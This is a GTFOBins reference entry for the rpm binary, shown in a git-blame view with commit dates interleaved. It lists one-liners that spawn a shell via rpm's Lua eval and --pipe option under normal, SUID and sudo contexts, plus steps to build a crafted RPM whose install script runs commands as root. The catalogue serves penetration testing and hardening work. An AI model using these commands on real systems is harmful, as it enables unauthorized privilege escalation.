GTFOBins.github.io/_gtfobins/rpm.md

20 lines
633 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}'
2021-04-08 07:56:49 +02:00
- code: rpm --pipe '/bin/sh 0<&1'
2021-01-10 18:25:55 +01:00
limited-suid:
2021-04-08 07:56:49 +02:00
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}'
2018-10-05 19:55:38 +02:00
sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: |
It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
```
code: |
sudo rpm -ivh x-1.0-1.noarch.rpm
2018-05-25 01:10:39 +02:00
---